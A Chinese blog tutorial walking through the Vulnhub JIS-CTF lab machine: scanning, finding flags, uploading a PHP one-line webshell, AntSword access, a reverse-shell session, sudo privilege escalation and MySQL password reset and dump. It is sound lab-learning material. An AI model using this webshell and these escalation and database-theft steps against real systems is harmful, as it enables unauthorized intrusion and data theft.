这是作者的网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步。前文分享了SMBv3服务远程代码执行漏洞(CVE-2020-0796),攻击者可能利用此漏洞远程无需用户验证,执行恶意代码并获取机器的完全控制。本文将详细讲解Vulnhub靶机渗透的环境搭建和JIS-CTF题目,采用Nmap、Dirb、中国蚁剑、敏感文件分析、SSH远程连接、Shell提权等获取5个flag。由于hack the box速度堪忧,作者选择了Vulnhub靶场,希望深入分析来帮助初学者。本文是一篇Web渗透的基础性文章,希望对您有所帮助。
作者作为网络安全的小白,分享一些自学基础教程给大家,主要是关于安全工具和实践操作的在线笔记,希望您们喜欢。同时,更希望您能与我一起操作和进步,后续将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力,点赞、评论、私聊均可,一起加油喔~
PS:本文参考了github、安全网站和参考文献中的文章(详见参考文献),并结合自己的经验和实践进行撰写,也推荐大家阅读参考文献。
作者的github资源:
软件安全:https://github.com/eastmountyxz/Software-Security-Course
其他工具:https://github.com/eastmountyxz/NetworkSecuritySelf-study
声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。
前文学习:
[网络安全自学篇] 一.入门笔记之看雪Web安全学习及异或解密示例
[网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登录加密入门笔记
[网络安全自学篇] 三.Burp Suite工具安装配置、Proxy基础用法及暴库示例
[网络安全自学篇] 四.实验吧CTF实战之WEB渗透和隐写术解密
[网络安全自学篇] 五.IDA Pro反汇编工具初识及逆向工程解密实战
[网络安全自学篇] 六.OllyDbg动态分析工具基础用法及Crakeme逆向
[网络安全自学篇] 七.快手视频下载之Chrome浏览器Network分析及Python爬虫探讨
[网络安全自学篇] 八.Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
[网络安全自学篇] 九.社会工程学之基础概念、IP获取、IP物理定位、文件属性
[网络安全自学篇] 十.论文之基于机器学习算法的主机恶意代码
[网络安全自学篇] 十一.虚拟机VMware+Kali安装入门及Sqlmap基本用法
[网络安全自学篇] 十二.Wireshark安装入门及抓取网站用户名密码(一)
[网络安全自学篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及数据流追踪和图像抓取(二)
[网络安全自学篇] 十四.Python攻防之基础常识、正则表达式、Web编程和套接字通信(一)
[网络安全自学篇] 十五.Python攻防之多线程、C段扫描和数据库编程(二)
[网络安全自学篇] 十六.Python攻防之弱口令、自定义字典生成及网站暴库防护
[网络安全自学篇] 十七.Python攻防之构建Web目录扫描器及ip代理池(四)
[网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示(一)
[网络安全自学篇] 十九.Powershell基础入门及常见用法(一)
[网络安全自学篇] 二十.Powershell基础入门及常见用法(二)
[网络安全自学篇] 二十一.GeekPwn极客大赛之安全攻防技术总结及ShowTime
[网络安全自学篇] 二十二.Web渗透之网站信息、域名信息、端口信息、敏感信息及指纹信息收集
[网络安全自学篇] 二十三.基于机器学习的恶意请求识别及安全领域中的机器学习
[网络安全自学篇] 二十四.基于机器学习的恶意代码识别及人工智能中的恶意代码检测
[网络安全自学篇] 二十五.Web安全学习路线及木马、病毒和防御初探
[网络安全自学篇] 二十六.Shodan搜索引擎详解及Python命令行调用
[网络安全自学篇] 二十七.Sqlmap基础用法、CTF实战及请求参数设置(一)
[网络安全自学篇] 二十八.文件上传漏洞和Caidao入门及防御原理(一)
[网络安全自学篇] 二十九.文件上传漏洞和IIS6.0解析漏洞及防御原理(二)
[网络安全自学篇] 三十.文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防御(三)
[网络安全自学篇] 三十一.文件上传漏洞之Upload-labs靶场及CTF题目01-10(四)
[网络安全自学篇] 三十二.文件上传漏洞之Upload-labs靶场及CTF题目11-20(五)
[网络安全自学篇] 三十三.文件上传漏洞之绕狗一句话原理和绕过安全狗(六)
[网络安全自学篇] 三十四.Windows系统漏洞之5次Shift漏洞启动计算机
[网络安全自学篇] 三十五.恶意代码攻击溯源及恶意样本分析
[网络安全自学篇] 三十六.WinRAR漏洞复现(CVE-2018-20250)及恶意软件自启动劫持
[网络安全自学篇] 三十七.Web渗透提高班之hack the box在线靶场注册及入门知识(一)
[网络安全自学篇] 三十八.hack the box渗透之BurpSuite和Hydra密码爆破及Python加密Post请求(二)
[网络安全自学篇] 三十九.hack the box渗透之DirBuster扫描路径及Sqlmap高级注入用法(三)
[网络安全自学篇] 四十.phpMyAdmin 4.8.1后台文件包含漏洞复现及详解(CVE-2018-12613)
[网络安全自学篇] 四十一.中间人攻击和ARP欺骗原理详解及漏洞还原
[网络安全自学篇] 四十二.DNS欺骗和钓鱼网站原理详解及漏洞还原
[网络安全自学篇] 四十三.木马原理详解、远程服务器IPC$漏洞及木马植入实验
[网络安全自学篇] 四十四.Windows远程桌面服务漏洞(CVE-2019-0708)复现及详解
[网络安全自学篇] 四十五.病毒详解及批处理病毒制作(自启动、修改密码、定时关机、蓝屏、进程关闭)
[网络安全自学篇] 四十六.微软证书漏洞CVE-2020-0601 (上)Windows验证机制及可执行文件签名复现
[网络安全自学篇] 四十七.微软证书漏洞CVE-2020-0601 (下)Windows证书签名及HTTPS网站劫持
[网络安全自学篇] 四十八.Cracer第八期——(1)安全术语、Web渗透流程、Windows基础、注册表及黑客常用DOS命令
[网络安全自学篇] 四十九.Procmon软件基本用法及文件进程、注册表查看
[网络安全自学篇] 五十.虚拟机基础之安装XP系统、文件共享、网络快照设置及Wireshark抓取BBS密码
[网络安全自学篇] 五十一.恶意样本分析及HGZ木马控制目标服务器
[网络安全自学篇] 五十二.Windows漏洞利用之栈溢出原理和栈保护GS机制
[网络安全自学篇] 五十三.Windows漏洞利用之Metasploit实现栈溢出攻击及反弹shell
[网络安全自学篇] 五十四.Windows漏洞利用之基于SEH异常处理机制的栈溢出攻击及shell提取
[网络安全自学篇] 五十五.Windows漏洞利用之构建ROP链绕过DEP并获取Shell
[网络安全自学篇] 五十六.i春秋老师分享小白渗透之路及Web渗透技术总结
[网络安全自学篇] 五十七.PE文件逆向之什么是数字签名及Signtool签名工具详解(一)
[网络安全自学篇] 五十八.Windows漏洞利用之再看CVE-2019-0708及Metasploit反弹shell
[网络安全自学篇] 五十九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及shell深度提权
[网络安全自学篇] 六十.Cracer第八期——(2)五万字总结Linux基础知识和常用渗透命令
[网络安全自学篇] 六十一.PE文件逆向之数字签名详细解析及Signcode、PEView、010Editor、Asn1View等工具用法(二)
[网络安全自学篇] 六十二.PE文件逆向之PE文件解析、PE编辑工具使用和PE结构修改(三)
[网络安全自学篇] 六十三.hack the box渗透之OpenAdmin题目及蚁剑管理员提权(四)
[网络安全自学篇] 六十四.Windows漏洞利用之SMBv3服务远程代码执行漏洞(CVE-2020-0796)复现及详解
前文欣赏:
[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
[渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
[渗透&攻防] 三.数据库之差异备份及Caidao利器
[渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包
Vulnhub是一个提供各种漏洞环境的靶场,每个靶场有对应的目标和难度,挑战者通过网络闯入系统获取root权限和查看flag。Vulnhub中包含了各种各样的镜像,可以下载到自己的主机上练习,其大部分的环境是要用VMware或者VirtualBox打开运行的。
作者看了Vulnhub的题目,是一个非常棒的Web渗透靶场,每个靶机都是很酷的一个游戏,需要找到所有的flag和提权,而Hack the box速度堪忧。为了让更多朋友了解Web渗透基础知识,作者接下来会陆续分享该系列20篇文章,尽量选择技术含量较高的靶场,结合技术点进行讲解,希望你们喜欢~
官方网址:https://www.vulnhub.com
该网站包含了很多靶场题目,每个靶场有对应的镜像下载地址、描述和难度等级等。比如“Me and My Girlfriend”如下图所示:
https://www.vulnhub.com/entry/me-and-my-girlfriend-1,409/
打开网址显示的内容如下图所示,我们获取虚拟机格式的镜像,然后进行环境配置。
描述中显示“Only working with VirtualBox”,只能工作在VirtualBox中工作,但作者是在VMware虚拟机中完成的实验。读者结合自身环境进行渗透测试。
该部分推荐i春秋F0rmat老师的文章:https://bbs.ichunqiu.com/thread-39761-1-5.html
第一步,下载资源
建议采用迅雷打开下载JIS-CTF-VulnUpload-CTF01.OVA文件。
下载完成之后如下图所示,可以看到一个OVA后缀的文件。
第二步,打开VMware虚拟机安装靶场
找到我们刚才下载的文件,导入虚拟机。
选择存放的位置,然后点击导入。
如果出现未通过OVF规范一致性或虚拟硬件合规性检查,请单击“重试”导入。在编程或Web渗透过程中,我们会遇到各种问题和错误,需要学会谷歌和百度独立解决,这也是对你能力的一种提升。
第三步,导入完成之后,设置NAT网络模式,内存设置为2G,硬盘设置为32GB
第四步,点击开启虚拟机及配置过程
到开机页面选择第二个Ubuntu的高级选项,如果启动网络正常的话可以直接开机,如果网络不正常可以按下面步骤操作。
进入高级选项,再次选择第二个Linux内核版本的恢复模式回车。
等待系统启动完毕后,看到这个页面,我们继续回车进入。
回车后会弹出选择界面,我们选择root一行回车,接着再次回车进入命令行模式。
第五步,输入“mount -o rw,remount / ”命令,再配置网络问卷,否则后面可能无法保存网络配置文件
当Linux系统无法启动时,通常需要进入单用户模式修改一些配置文件,或调整一些参数方可启动。但是在进入单用户模式后,我们的文件系统是只读模式,无法进行修改,那么这个时候就需要用到一条命令“mount –o remount,rw /”。这个命令让我们的 / 路径文件系统的可读模式能自由修改。
接着输入命令查看网卡:
作者的是ens33,然后继续输入命令修改网络配置文件。
输入I修改模式,如下图所示。
修改这两个地方,改成你的网卡名称,然后输入“:wq”保存。
最后输入reboot重启即可。
运行结果如下图所示,我一直登录不进去(不知道用户名和密码)。最初以为是要求用VirtualBox虚拟机的原因,后来反应过来,此时似乎Kali上场开始渗透了。
首先是信息收集一波,任何网站或Web都需要进行一波扫描和分析。
第一步,扫描网卡名称
第二步,调用Nmap探测目标主机IP
由于在同一个网段,所以和主机IP地址近视,扫描结果如下图所示,靶场IP为192.168.44.143。
第三步,调用Nmap探测靶机的开放端口信息
第四步,利用dirb扫描80端口的目录文件,敏感文件分析非常重要
相关目录:
第五步,调用whatweb查看环境
第六步,敏感文件分析
做到这里,信息扫描步骤基本介绍,接下来开始靶机渗透。
我们从敏感文件robots.txt中获取目录信息,查看内容如下图所示:
接着我们发现一个敏感的关键词flag,输入目标地址:192.168.44.143/flag/,第一个flag浮出水面,比较基础,是敏感文件和目录相关。
The 1st flag is : {8734509128730458630012095}
在地址栏中输入:http://192.168.44.143/admin_area/,显示如下图所示:
右键查看源码得到第二个flag,也是比较简单的知识点。
The 2nd flag is : {7412574125871236547895214}
与第二个flag同时出现的还有一个账号和密码,说明接下来我们需要利用这个账号信息。
<html>
<head>
<title>
Fake admin area :)
title>
<body>
<center><h1>The admin area not work :) h1>center>
body>
html>
我们之前打开了登录页面,但没有账号和密码。这里是否能用上面的账号和密码呢?接着我们进行了登录尝试,返回页面是一个文件上传。
登录之后是一个上传页面,我们尝试上传一句话木马。
@eval($_POST["eastmount"]); ?>
由于该网站采用PHP编写,一句话木马如下所示,我们在Kali浏览器中打开并上传。
上传文件成功。
接下来我们用要蚁剑来连接。
接着我们需要使用中国蚁剑来提取Webshell。蚁剑怎么在Kali下安装和使用呢?中国蚁剑推荐大家阅读如下文章,它是非常强大的一款渗透工具。
第一步,下载中国蚁剑可以使用git命令,也可以直接从github中下载。
git clone https://github.com/antoor/antSword.git
cd antSword
作者从官网下载对应的Linux版本。
第二步,打开Kali终端找到你下载的中国蚁剑压缩包并解压。
unzip AntSword-Loader-v4.0.3-linux-x64.zip
解压显示如下图所示:
第三步,进入中国蚁剑压缩包并打开蚁剑。
./AntSword
蚁剑打开如下图所示:
第四步,创建一个空文件夹(用全英文名字)。
然后点击蚁剑“初始化”按钮,找到你新建的文件夹,并选择它进行安装。
执行结束之后,“./AntSword”会出现这个界面,说明安装成功。
第一步,利用前面上传的一句话木马。
@eval($_POST['eastmount']);?>
第二步,运行蚁剑,右键单击“添加数据”,输入URL地址,连接密码以及编码设置。PHP语言推荐编辑器使用chr加密。
URL:http://192.168.44.143/uploaded_files/shell.php
密码:eastmount
接着整个后台显示出来,如下图所示,是不是感受到了蚁剑的强大。
第三步,右键文件管理查看webshell目录
找到/var/www/html/目录下,看到hint.txt和flag.txt文件。
直接打开hint.txt文件,我们看到了第三个flag和用户名technawi,该用户名又能做什么呢?
try to find user technawi password to read the flag.txt file, you can find it in a hidden file
The 3rd flag is : {7645110034526579012345670}
注意,这里如果您对信息比较敏感,可能会通过直接访问hint.txt得到第三个flag和用户technawi。但更推荐大家尝试中国蚁剑和一句话木马的渗透方法。
第四步,gobuster目录扫描
注意,hint.txt文件是能够直接访问的,但flag.txt文件却无法访问。我们补充一个目录扫描知识点,使用gobuster依次扫各目录下的txt文件。robots.txt和hint.txt目录为200,表示能直接访问,其他目录均不能直接访问,flag.txt提示403。
root@kali:~# gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://192.168.44.143 -t 100 -x txt
/assets (Status: 301)
/css (Status: 301)
/js (Status: 301)
/flag (Status: 301)
/flag.txt (Status: 403)
/robots.txt (Status: 200)
/uploaded_files (Status: 301)
/hint.txt (Status: 200)
/server-status (Status: 403)
那怎么才能获取flag.txt内容呢?此时你需要想到用户权限的限制和提取处理。
最后补充另一种提权方法,上传php-reverse-shell反弹shell到kali攻击机得到shell。
root@redwand:~# rlwrap nc -lvp 6666
listening on [any] 6666 ...
192.168.0.149: inverse host lookup failed: Unknown host
connect to [192.168.0.103] from (UNKNOWN) [192.168.0.149] 56148
Linux Jordaninfosec-CTF01 4.4.0-72-generic #93-Ubuntu SMP Fri Mar 31 14:07:41 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
04:28:10 up 52 min, 0 users, load average: 0.00, 2.25, 3.94
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@Jordaninfosec-CTF01:/$
刚才在第三个flag提示我们“try to find user technawi password to read the flag.txt file, you can find it in a hidden file ”,表示需要用technawi读取flag.txt文件,我们可以在隐藏文件中找到用户的信息。那怎么去实现呢?
第一步,我们在蚁剑中启动shell的命令行模式,命令“2>/dev/null”表示过滤掉类似没有权限的信息。
我们看到了一个特殊的文件/etc/mysql/conf.d/credentials.txt ,尝试去读一下里面的信息,得到flag。
(www-data:/var/www/html) $ find / -user 'technawi' 2>/dev/null
/etc/mysql/conf.d/credentials.txt
/var/www/html/flag.txt
/home/technawi
/home/technawi/.cache
/home/technawi/.bash_history
/home/technawi/.sudo_as_admin_successful
/home/technawi/.profile
/home/technawi/.bashrc
/home/technawi/.bash_logout
(www-data:/var/www/html) $ cat /etc/mysql/conf.d/credentials.txt
The 4th flag is : {7845658974123568974185412}
username : technawi
password : 3vilH@ksor
(www-data:/var/www/html) $
获取第四个Flag和technawi用户对应的密码。
如果直接读取flag.txt文件,显示为空,需要对应的用户和权限。
接着我们采用SSH连接,账号和密码为第4个flag获取的值。
找到登陆用户technawi,然后去读取刚才flag.txt文件 ,得到最后的flag。
在Web渗透中,提权和数据库获取也是非常重要的知识点。尽管Vulnhub是渗透靶场,但获取flag并不是我们的唯一目标,提权也很有意思。前面我们在home目录下发现 .sudo_as_admin_successful 文件,表示需要使用sudo提权。
首先我们使用sudo -l看看sudo权限。
显示“ALL”说明technawi可以用自己的密码切换为 root 用户,输入“sudo su root”命令,密码为3vilH@ksor。权限成功从technawi提升为root。
同样数据库操作也非常有意思,我们尝试获取mysql数据库内容。
核心步骤为:登录root权限,新建目录并使用命令跳过输入密码过程
technawi@Jordaninfosec-CTF01:/var/www$ sudo su root
root@Jordaninfosec-CTF01:/var/www# whoami
root
root@Jordaninfosec-CTF01:/var/www# ls
html
root@Jordaninfosec-CTF01:/var/www# mkdir -p /var/run/mysqld
root@Jordaninfosec-CTF01:/var/www# chown -R mysql:mysql /var/run/mysqld
root@Jordaninfosec-CTF01:/var/www# mysqld_safe --skip-grant-tables &
[1] 1910
root@Jordaninfosec-CTF01:/var/www# 2020-04-10T06:31:09.933846Z mysqld_safe Logging to syslog.
2020-04-10T06:31:09.936319Z mysqld_safe Logging to '/var/log/mysql/error.log'.
2020-04-10T06:31:09.941145Z mysqld_safe Logging to '/var/log/mysql/error.log'.
2020-04-10T06:31:09.959551Z mysqld_safe A mysqld process already exists
输出结果如下图所示:
接着新开一个终端mysql -uroot无密码登陆即可,但作者总是报错。
哎!自己还是太弱了,最后该部分补充Redwand老师的成功代码。
[VulnHub] JIS-CTF - redwand
root@Jordaninfosec-CTF01:/tmp# mysql -uroot
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 3
Server version: 5.7.17-0ubuntu0.16.04.2 (Ubuntu)
Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>
查看数据库如下:
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| sys |
+--------------------+
4 rows in set (0.00 sec)
查看mysql.user表如下:
mysql> select host,user,authentication_string,plugin from user;
+-----------+------------------+-------------------------------------------+-----------------------+
| host | user | authentication_string | plugin |
+-----------+------------------+-------------------------------------------+-----------------------+
| localhost | root | *6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9 | mysql_native_password |
| localhost | mysql.sys | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE | mysql_native_password |
| localhost | debian-sys-maint | *C46C96C2990814041379A76A744EE3E5026A0D64 | mysql_native_password |
+-----------+------------------+-------------------------------------------+-----------------------+
更新root密码为123456如下:
mysql> update user set authentication_string=password("123456") where user="root";
Query OK, 0 rows affected, 1 warning (0.00 sec)
Rows matched: 1 Changed: 0 Warnings: 1
mysql>flush privileges;
mysqldump导出需要的数据库,完成mysql脱裤。
root@Jordaninfosec-CTF01:/tmp# mysqldump -uroot -p sys > sys.sql
Enter password:
写道这里,这篇文章讲解完毕,后续会更深入的分享。文章内容包括:
希望这系列文章对您有所帮助,真的感觉自己技术好菜,要学的知识好多。转眼4月份到来,这是第65篇原创的安全系列文章,从网络安全到系统安全,从木马病毒到后门劫持,从恶意代码到溯源分析,从渗透工具到二进制工具,还有Python安全、顶会论文、黑客比赛和漏洞分享。未知攻焉知防,人生漫漫其路远兮,作为初学者,自己真是爬着前行;同时学术论文得深入了,加油!感谢很多人的帮助,继续爬着,继续加油!
欢迎大家讨论,是否觉得这系列文章帮助到您!任何建议都可以评论告知读者,共勉。
(By:Eastmount 2020-04-15 晚上10点写于贵阳 http://blog.csdn.net/eastmount/)
参考文献:
[1] https://www.vulnhub.com
[2] 教你怎么用Vulnhub来搭建环境 - i春秋老师F0rmat
[3] [VulnHub] JIS-CTF - redwand
[4] OSCP - JIS-CTF-VulnUpload-CTF01 - 青蛙爱轮滑
[5] JIS-CTF_VulnUpload靶机攻略 - FreeBuf yangyangwithgnu
[6] Vulnhub JIS-CTF-VulnUpload靶机渗透 - A1oe
[7] vulnhub靶场渗透学习-JIS-CTF - Shang176